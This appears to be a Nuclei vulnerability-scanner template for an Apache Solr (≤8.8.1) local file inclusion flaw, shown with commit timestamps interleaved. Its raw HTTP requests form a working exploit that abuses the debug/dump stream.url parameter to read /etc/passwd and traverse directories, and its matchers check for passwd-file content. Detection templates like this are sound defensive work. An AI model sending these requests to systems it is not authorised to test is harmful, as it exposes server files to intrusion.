nuclei-templates/vulnerabilities/apache/apache-solr-file-read.yaml

64 lines
1.6 KiB
YAML
Raw Normal View History

2021-04-23 10:19:45 +00:00
id: apache-solr-file-read
info:
name: Apache Solr <= 8.8.1 - Local File Inclusion
2022-12-02 03:43:23 +00:00
author: DhiyaneshDk,philippedelteil
severity: high
description: Apache Solr versions prior to and including 8.8.1 are vulnerable to local file inclusion.
reference:
- https://twitter.com/Al1ex4/status/1382981479727128580
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
- https://twitter.com/sec715/status/1373472323538362371
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
tags: apache,solr,lfi
requests:
- raw:
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
2022-12-02 03:42:05 +00:00
- |
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../&param=ContentStream HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
- |
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd&param=ContentStream HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
extractors:
- type: regex
2021-08-09 16:28:28 +00:00
internal: true
name: core
group: 1
2021-08-09 16:28:28 +00:00
regex:
- '"name"\:"(.*?)"'
matchers:
- type: word
2022-12-02 03:51:51 +00:00
name: "windows"
words:
- "Windows"
- "Users"
- "org.apache.solr.handler.DumpRequestHandler"
condition: and
2022-12-02 03:42:05 +00:00
2021-08-09 16:28:28 +00:00
- type: regex
2022-12-02 03:51:51 +00:00
name: "linux"
2021-08-09 16:28:28 +00:00
regex:
- "root:.*:0:0:"
2022-12-02 03:42:05 +00:00
- type: word
2022-12-02 03:51:51 +00:00
name: "other"
words:
- "java.io.FileNotFoundException"